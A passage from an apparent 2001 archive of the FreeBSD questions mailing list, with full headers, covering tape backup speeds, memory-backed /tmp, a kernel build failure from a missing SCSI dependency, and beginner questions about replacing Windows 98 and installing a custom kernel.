[161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 780D437B416; Mon, 19 Nov 2001 17:21:59 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1Lv113204; Tue, 20 Nov 2001 02:21:57 +0100 (CET) Message-ID: <002401c17161$bfe92aa0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" Cc: "R. Hartman" , "FreeBSD Questions" References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> <001901c170c0$ce2ef460$9600000a@custcom> <00c201c170c5$d4222400$0a00000a@atkielski.com> <20011120094247.L84417@monorchid.lemis.com> Subject: Re: Mysterious boot during the night Date: Tue, 20 Nov 2001 02:21:49 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg writes: > No. The text is wrong. It's as I said before: > -STABLE is the stable version, -RELEASE is the > released version. Either STABLE is more stable than RELEASE, or it isn't. If it is, why is RELEASE the version that gets sold on CDs? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:23: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id 5EC5237B416 for ; Mon, 19 Nov 2001 17:22:58 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 5AB5F7855F; Tue, 20 Nov 2001 11:52:56 +1030 (CST) Date: Tue, 20 Nov 2001 11:52:56 +1030 From: Greg Lehey To: Christopher Farley Cc: questions@freebsd.org Subject: Re: Slow restores on a DLT4000 Message-ID: <20011120115256.H76318@monorchid.lemis.com> References: <20011119150711.A7781@northernbrewer.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011119150711.A7781@northernbrewer.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday, 19 November 2001 at 15:07:13 -0600, Christopher Farley wrote: > I am a new owner of a pair of DLT4000 drives. I've been testing them > using dump and restore. > > I get fairly good throughput on dumps; about 1.6 megs/second, which > seems similar to 'average' expectations that have been published. > During a dump, the drive does not stream, but runs, stops, rewinds, > runs, stops, rewinds... My thinking is that the tape drive is able to > write to a tape faster than my platters can provide the bits. Hmm. I have one of these drives too, and I see data rates of up to 3 MB/s. Are you using compression? > Restoring data off a level 0 dump takes about twice as long as the dump > itself, and it also fails to stream. This is almost certainly due to the metadata updates. Soft updates will help, but basically the disk is becoming the bottleneck. > Also, it takes just as long to retrieve a few files off of a dump as > it does to restore an entire dump. Well, I suspect it seems that way. In fact, it should be able to stream up to where it finds the files, so it should be a little faster. > It seems like the drive simply reads the tape sequentially, and if > it sees a file I've marked, it writes it to the disk. Consequently, > if the file is at the end of the tape, it will take 4 hours to find > the file on a 20 Gig dump. Yes, that's correct. The obvious choice here is to make several smaller dumps and then search to the beginning of the dump, which is much faster (a minute or two maximum). > Is this (slow) behavior due to the way dump/restore works, or due to > the DLT4000? Is there any kind of drive/backup program that allows > for some kind of random access on the tape drive? By definition, tapes are serial access devices. The DLT4000 is not much difference from other ones. > (I used to have a 4mm DAT, and I seem to recall that restoring a > single file or two was very fast and efficient. It has been a while > since I've done it, though.) They're pretty much the same. There are two basic speeds: file skip, which is relatively fast, but can only skip to the beginning of a file, and transfer. If the drive doesn't stream, it can be *much* slower. The DLT4000 should stream for a few seconds at a time, then back up and start again. The real killers are where this streaming is only a fraction of a second. Greg -- When replying to this message, please copy the original recipients. If you don't, I may ignore the reply. For more information, see http://www.lemis.com/questions.html See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:24:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cmailg4.svr.pol.co.uk (cmailg4.svr.pol.co.uk [195.92.195.174]) by hub.freebsd.org (Postfix) with ESMTP id AE69837B419 for ; Mon, 19 Nov 2001 17:24:18 -0800 (PST) Received: from [195.92.168.141] (helo=tmailb1.svr.pol.co.uk) by cmailg4.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 165ze5-0006KN-00 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 01:24:17 +0000 Received: from modem-744.bulbasaur.dialup.pol.co.uk ([217.135.49.232] helo=dedog.argus-systems.co.uk) by tmailb1.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 165zdl-0004MS-00 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 01:23:58 +0000 Received: (from fergus@localhost) by dedog.argus-systems.co.uk (8.11.6/8.11.1) id fAK1NxI64387 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 01:23:59 GMT (envelope-from fergus) Date: Tue, 20 Nov 2001 01:23:55 +0000 From: fergus To: questions Subject: md tmp Message-ID: <20011120012355.A64337@dedog.argus-systems.co.uk> Mail-Followup-To: fergus , questions Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG was thinking about setting tmp as a memory backed filesystem - seems pretty standard but i couldn't find any FAQ on it. anyone running this ? ( guess that's pretty stupid question ) but if so - how do you get tmp mounted early enough since i guess you have to 'dd' the size at boot time to create it ? is there a standard way to do this or do i just have to write this into rc scripts before anything that needs it ? if so, anyone done it ? will 'rc.d' script & force mount over tmp do the job ? or do we need to get in earlier ? thanks for any advice. -- fergus To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:27:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 9CFED37B417 for ; Mon, 19 Nov 2001 17:27:20 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1RFY13785; Tue, 20 Nov 2001 02:27:15 +0100 (CET) Message-ID: <002f01c17162$7d190550$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Noor Dawod" Cc: References: Subject: Re: SCSI tape back that works under FreeBSD Date: Tue, 20 Nov 2001 02:27:09 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've never had trouble with DAT drives, and I've been using them for backups for years. I verify every backup (not sure if this is possible on FreeBSD--?). I rotate through a dozen tapes or so. If you keep the drive clean and verify the tape content so that you know it is readable, it works very well. The latest DAT drives can put at least 24 GB on one cassette. I don't keep backups for a year; they go back about three months and that is it. Stuff that has to be kept longer than that is set aside and burned onto a CD-R, as I consider anything kept that long to be an archive, not a backup. ----- Original Message ----- From: To: "Noor Dawod" Cc: ; Sent: Monday, November 19, 2001 23:55 Subject: Re: SCSI tape back that works under FreeBSD > > Hi Noor, > > generally from my experience I can't recomment DAT as a backup media. They > are cheap but also not very durable. I rather recommend DLT or LTO drives. > > The reason for this is simple my experience showed me, that a DAT media > gets unreadable after a year of use, then you have to buy new ones, with > DLTs or LTOs I really can say they last very much longer (I admit my > experience with LTOs is only for 2 years now ;-). > > - Joe > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:28:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mhub-w4.tc.umn.edu (mhub-w4.tc.umn.edu [160.94.160.49]) by hub.freebsd.org (Postfix) with ESMTP id 705B037B416 for ; Mon, 19 Nov 2001 17:28:43 -0800 (PST) Received: from [128.101.103.134] by mhub-w4.tc.umn.edu with ESMTP for freebsd-questions@FreeBSD.org; Mon, 19 Nov 2001 19:28:38 -0600 Received: (from nobody@localhost) by localhost.localdomain (8.11.2/8.9.3) id fAK1Sc931802; Mon, 19 Nov 2001 19:28:38 -0600 Message-Id: <200111200128.fAK1Sc931802@localhost.localdomain> Date: Mon, 19 Nov 2001 19:28:37 CST From: John O Holland Subject: kernal error question To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII X-Mailer: Nemesis TickMail 0.1b Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, In this email is my kernel configuration. For some reason I get an error when making it. The error can be found after the config script. Thanks, John ## GENERIC -- Generic kernel configuration file for FreeBSD/i386 # # For more information on this file, please read the handbook section on # Kernel Configuration Files: # # http://www.FreeBSD.org/handbook/kernelconfig-config.html # # The handbook is also available locally in /usr/share/doc/handbook # if you've installed the doc distribution, otherwise always see the # FreeBSD World Wide Web server (http://www.FreeBSD.org/) for the # latest information. # # An exhaustive list of options and more detailed explanations of the # device lines is also present in the ./LINT configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in LINT. # # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.246.2.20 2000/10/31 23:16:07 n_hibma Exp $ machine i386 cpu I686_CPU ident INSIDIOUS maxusers 32 #makeoptions DEBUG=-g #Build kernel with gdb(1) debug symbols options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options INET6 #IPv6 communications protocols options FFS #Berkeley Fast Filesystem options FFS_ROOT #FFS usable as root device [keep this!] options SOFTUPDATES #Enable FFS soft updates support options MFS #Memory Filesystem options MD_ROOT #MD is a potential root device #options NFS #Network Filesystem #options NFS_ROOT #NFS usable as root device, NFS required#options MSDOSFS #MSDOS Filesystem options CD9660 #ISO 9660 Filesystem options CD9660_ROOT #CD-ROM usable as root, CD9660 required options PROCFS #Process filesystem options COMPAT_43 #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15000 #Delay (in ms) before probing SCSI options UCONSOLE #Allow users to grab the console options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options KTRACE #ktrace(1) support options SYSVSHM #SYSV-style shared memory options SYSVMSG #SYSV-style message queues options SYSVSEM #SYSV-style semaphores options P1003_1B #Posix P1003_1B real-time extensions options _KPOSIX_PRIORITY_SCHEDULING options ICMP_BANDLIM #Rate limit bad replies options KBD_INSTALL_CDEV # install a CDEV entry in /dev # To make an SMP kernel, the next two are needed #options SMP # Symmetric MultiProcessor Kernel #options APIC_IO # Symmetric (APIC) I/O device isa #device eisa device pci # Floppy drives device fdc0 at isa? port IO_FD1 irq 6 drq 2 device fd0 at fdc0 drive 0 device fd1 at fdc0 drive 1 # ATA and ATAPI devices device ata0 at isa? port IO_WD1 irq 14 device ata1 at isa? port IO_WD2 irq 15 device ata device atadisk # ATA disk drives device atapicd # ATAPI CDROM drives device atapifd # ATAPI floppy drives #device atapist # ATAPI tape drives options ATA_STATIC_ID #Static device numbering options ATA_ENABLE_ATAPI_DMA #Enable DMA on ATAPI devices # SCSI Controllers #device ahb # EISA AHA1742 family #device ahc # AHA2940 and onboard AIC7xxx devices #device amd # AMD 53C974 (Teckram DC-390(T)) #device isp # Qlogic family #device ncr # NCR/Symbios Logic #device sym # NCR/Symbios Logic (newer chipsets) #options SYM_SETUP_LP_PROBE_MAP=0x40 # Allow ncr to attach legacy NCR devices when # both sym and ncr are configured #device adv0 at isa? #device adw #device bt0 at isa? #device aha0 at isa? #device aic0 at isa? #device ncv # NCR 53C500 #device nsp # Workbit Ninja SCSI-3 #device stg # TMC 18C30/18C50 # SCSI peripherals #device scbus # SCSI bus (required) #device da # Direct Access (disks) #device sa # Sequential Access (tape etc) #device cd # CD #device pass # Passthrough device (direct SCSI access) # RAID controllers interfaced to the SCSI subsystem #device asr # DPT SmartRAID V, VI and Adaptec SCSI RAID #device dpt # DPT Smartcache - See LINT for options! #device mly # Mylex AcceleRAID/eXtremeRAID # RAID controllers #device ida # Compaq Smart RAID #device amr # AMI MegaRAID #device mlx # Mylex DAC960 family #device twe # 3ware Escalade # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc0 at isa? port IO_KBD device atkbd0 at atkbdc? irq 1 flags 0x1 device psm0 at atkbdc? irq 12 device vga0 at isa? # splash screen/screen saver pseudo-device splash # syscons is the default console driver, resembling an SCO console device sc0 at isa? flags 0x100 # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? #options XSERVER # support for X server on a vt console #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std # Floating point support - do not disable. device npx0 at nexus? port IO_NPX irq 13 # Power management support (see LINT for more options) device apm0 at nexus? disable flags 0x20 # Advanced Power Management # PCCARD (PCMCIA) support device card device pcic0 at isa? irq 0 port 0x3e0 iomem 0xd0000 device pcic1 at isa? irq 0 port 0x3e2 iomem 0xd4000 disable # Serial (COM) ports device sio0 at isa? port IO_COM1 flags 0x10 irq 4 device sio1 at isa? port IO_COM2 irq 3 device sio2 at isa? disable port IO_COM3 irq 5 device sio3 at isa? disable port IO_COM4 irq 9 # Parallel port device ppc0 at isa? irq 7 device ppbus # Parallel port bus (required) device lpt # Printer device plip # TCP/IP over parallel device ppi # Parallel port interface device #device vpo # Requires scbus and da # PCI Ethernet NICs. #device de # DEC/Intel DC21x4x (``Tulip'') #device fxp # Intel EtherExpress PRO/100B (82557, 82558) #device tx # SMC 9432TX (83c170 ``EPIC'') #device vx # 3Com 3c590, 3c595 (``Vortex'') #device wx # Intel Gigabit Ethernet Card (``Wiseman'') # PCI Ethernet NICs that use the common MII bus controller code. # NOTE: Be sure to keep the 'device miibus' line in order to use these NICs! device miibus # MII bus support #device dc # DEC/Intel 21143 and various workalikes #device pcn # AMD Am79C79x PCI 10/100 NICs device rl # RealTek 8129/8139 #device sf # Adaptec AIC-6915 (``Starfire'') #device sis # Silicon Integrated Systems SiS 900/SiS 7016 #device ste # Sundance ST201 (D-Link DFE-550TX) #device tl # Texas Instruments ThunderLAN #device vr # VIA Rhine, Rhine II #device wb # Winbond W89C840F #device xl # 3Com 3c90x (``Boomerang'', ``Cyclone'') # ISA Ethernet NICs. #device ed0 at isa? port 0x280 irq 10 iomem 0xd8000 #device ex #device ep #device fe0 at isa? port 0x300 # WaveLAN/IEEE 802.11 wireless NICs. Note: the WaveLAN/IEEE really # exists only as a PCMCIA device, so there is no ISA attatement needed # and resources will always be dynamically assigned by the pccard code. #device wi # Aironet 4500/4800 802.11 wireless NICs. Note: the declaration below will # work for PCMCIA and PCI cards, as well as ISA cards set to ISA PnP # mode (the factory default). If you set the switches on your ISA # card for a manually chosen I/O address and IRQ, you must specify # those paremeters here. #device an # Xircom Ethernet #device xe # The probe order of these is presently determined by i386/isa/isa_compat.c. #device ie0 at isa? port 0x300 irq 10 iomem 0xd0000 #device le0 at isa? port 0x300 irq 5 iomem 0xd0000 #device lnc0 at isa? port 0x280 irq 10 drq 0 #device cs0 at isa? port 0x300 #device sn0 at isa? port 0x300 irq 10 # Pseudo devices - the number indicates how many units to allocated. pseudo-device loop # Network loopback pseudo-device ether # Ethernet support pseudo-device sl 1 # Kernel SLIP pseudo-device ppp 1 # Kernel PPP pseudo-device tun # Packet tunnel. pseudo-device pty # Pseudo-ttys (telnet etc) pseudo-device md # Memory "disks" pseudo-device gif 4 # IPv6 and IPv4 tunneling pseudo-device faith 1 # IPv6-to-IPv4 relaying (translation) # The `bpf' pseudo-device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! pseudo-device bpf #Berkeley packet filter # USB support device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device usb # USB Bus (required) device ugen # Generic device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse device uscanner # Scanners # USB Ethernet, requires mii device aue # ADMtek USB ethernet device cue # CATC USB ethernet device kue # Kawasaki LSI USB ethernet #for sound blaster live support device pcm --------------------------------------------------------------------------- ---- ERRORS:: Insidious# make linking kernel umass.o: In function `umass_cam_attach_sim': umass.o(.text+0x1257): undefined reference to `cam_simq_alloc' umass.o(.text+0x127d): undefined reference to `cam_sim_alloc' umass.o(.text+0x1296): undefined reference to `xpt_bus_register' umass.o(.text+0x12a6): undefined reference to `cam_simq_free' umass.o: In function `umass_cam_rescan_callback': umass.o(.text+0x12bf): undefined reference to `xpt_free_path' umass.o: In function `umass_cam_rescan': umass.o(.text+0x1309): undefined reference to `xpt_periph' umass.o(.text+0x1312): undefined reference to `xpt_create_path' umass.o(.text+0x1325): undefined reference to `xpt_setup_ccb' umass.o(.text+0x1340): undefined reference to `xpt_action' umass.o: In function `umass_cam_detach_sim': umass.o(.text+0x13f7): undefined reference to `xpt_bus_deregister' umass.o(.text+0x1415): undefined reference to `cam_sim_free' umass.o: In function `umass_cam_detach': umass.o(.text+0x1456): undefined reference to `xpt_create_path' umass.o(.text+0x1477): undefined reference to `xpt_async' umass.o(.text+0x147f): undefined reference to `xpt_free_path' umass.o: In function `umass_cam_action': umass.o(.text+0x179d): undefined reference to `xpt_done' umass.o(.text+0x17ad): undefined reference to `xpt_done' umass.o: In function `umass_cam_cb': umass.o(.text+0x18a1): undefined reference to `xpt_done' umass.o: In function `umass_cam_sense_cb': umass.o(.text+0x1918): undefined reference to `xpt_done' umass.o(.text+0x1929): undefined reference to `xpt_done' *** Error code 1 Stop in /usr/src/sys/compile/INSIDIOUS. Insidious# To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:30:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 856D837B418 for ; Mon, 19 Nov 2001 17:30:30 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1UQ614098; Tue, 20 Nov 2001 02:30:26 +0100 (CET) Message-ID: <004601c17162$eed90be0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kent Stewart" , "Bara Zani" Cc: References: <001e01c17134$0d6f2370$fd6e34c6@mlevy> <3BF964F5.7080905@owt.com> Subject: Re: Vi a Joke ? Date: Tue, 20 Nov 2001 02:30:20 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > One point people forget and that is what can > you use when you mess up rc.conf and your system > will only boot into single user mode. Learning > vi at that point is a painic :). Can't you just restore the previous copy of the file and reboot? You made a backup copy of the last bootable version of the file before you changed it, right? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:33:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 1D2D637B419 for ; Mon, 19 Nov 2001 17:33:19 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1W1V14309; Tue, 20 Nov 2001 02:32:01 +0100 (CET) Message-ID: <004b01c17163$27719260$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Dennis Logan" , References: <3BF9B12B.3D521A4D@nycap.rr.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 02:31:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yes, but it is a COMPLETELY different world. The nature of your question indicates that you might wish to investigate FreeBSD and its brethren a lot more deeply before deciding to replace Win98 on your machine. ----- Original Message ----- From: "Dennis Logan" To: Sent: Tuesday, November 20, 2001 02:26 Subject: home pc use > Hi, > Can i use this operating system instead of win98 on my pc? > dennis > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:34:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 67C4D37B416 for ; Mon, 19 Nov 2001 17:34:06 -0800 (PST) Received: (qmail 64778 invoked by uid 100); 20 Nov 2001 01:34:09 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15353.45841.476855.884298@guru.mired.org> Date: Mon, 19 Nov 2001 19:34:09 -0600 To: jaime@snowmoon.com Cc: questions@freebsd.org Subject: Re: Writable directory except for a given user In-Reply-To: <20011119194626.K48577-100000@malkav.snowmoon.com> References: <15353.33437.744317.153424@guru.mired.org> <20011119194626.K48577-100000@malkav.snowmoon.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG jaime@snowmoon.com types: > On Mon, 19 Nov 2001, Mike Meyer wrote: > > Sure - create a group that you put all users in by default, and then > > take blacklisted users out of it. > I'm aware of this idea, but in my case we're talking about > hundreds of users. Is there a way to configure adduser (or FreeBSD > itself) to add a user to a given group by default? Other than the obvious > /etc/adduser.* files, I mean. :) What about a method of doing this and > taking care of all of my hundreds of users that already exist? Can you make that the users gid, as opposed to just being another group? If so, script to fix /etc/master.passwd should be straightforward. Given that you only have to do it once, ed might be the fastest way to do it. If you need to create a group with hundreds of users - you might want to find a different approach, like sudo for the operations you want to allow on the directory. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:35:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id F1DEF37B41A for ; Mon, 19 Nov 2001 17:35:05 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id A309866D56; Mon, 19 Nov 2001 17:35:05 -0800 (PST) Date: Mon, 19 Nov 2001 17:35:05 -0800 From: Kris Kennaway To: Dennis Logan Cc: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011119173505.A87708@xor.obsecurity.org> References: <3BF9B12B.3D521A4D@nycap.rr.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="5mCyUwZo2JvN/JJP" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BF9B12B.3D521A4D@nycap.rr.com>; from delogan1@nycap.rr.com on Mon, Nov 19, 2001 at 08:26:03PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --5mCyUwZo2JvN/JJP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, Nov 19, 2001 at 08:26:03PM -0500, Dennis Logan wrote: > Hi, > Can i use this operating system instead of win98 on my pc? > dennis Yes. That's what many of us do. Kris --5mCyUwZo2JvN/JJP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD4DBQE7+bNIWry0BWjoQKURApbrAJjiCKkblFOovSBE92vtRc74rV1MAKDuNSAx iBCeibB9rdqBhQPGBxoqUw== =viNj -----END PGP SIGNATURE----- --5mCyUwZo2JvN/JJP-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:35:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mclink.com (mclink.com [207.137.208.2]) by hub.freebsd.org (Postfix) with ESMTP id 4E1E937B419 for ; Mon, 19 Nov 2001 17:35:37 -0800 (PST) Received: from gavin (61-222-25-202.HINET-IP.hinet.net [61.222.25.202]) by mclink.com (8.8.8/8.8.5) with SMTP id UAA26702 for ; Mon, 19 Nov 2001 20:02:18 -0800 (PST) Message-ID: <002001c17163$be745300$0f01a8c0@testing.local> From: "Gavin Weng" To: Subject: how to replace the new kernel, not recompile. Date: Tue, 20 Nov 2001 09:35:43 +0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001B_01C171A6.B958F810" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C171A6.B958F810 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Dear Sir, I won't compile my kernel, I do have customized one already. But I don't know how to replace my kernel into original one. When I try to copy my new kernel to original. It always say permission = not=20 allow.. I used "chmod" to change the permission for kernel as root = position. It's doesn't work... Don't know what should I do.. Please help me.. Thanks Gavin ------=_NextPart_000_001B_01C171A6.B958F810 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable
Dear Sir,
I won't compile my kernel, I do have customized one=20 already.
But I don't know how to replace my kernel into original=20 one.
When I try to copy my new kernel to original. It always say = permission not
allow.. I used "chmod" to change the permission for kernel = as root=20 position. It's doesn't work...
Don't know what should I  do..
Please help me..
 
 
Thanks
 
Gavin
------=_NextPart_000_001B_01C171A6.B958F810-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:36:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 5809C37B418 for ; Mon, 19 Nov 2001 17:36:06 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 1384066D56; Mon, 19 Nov 2001 17:36:06 -0800 (PST) Date: Mon, 19 Nov 2001 17:36:05 -0800 From: Kris Kennaway To: John O Holland Cc: freebsd-questions@FreeBSD.ORG Subject: Re: kernal error question Message-ID: <20011119173605.B87708@xor.obsecurity.org> References: <200111200128.fAK1Sc931802@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="vGgW1X5XWziG23Ko" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111200128.fAK1Sc931802@localhost.localdomain>; from holl0189@umn.edu on Mon, Nov 19, 2001 at 07:28:37PM -0600 Sender: 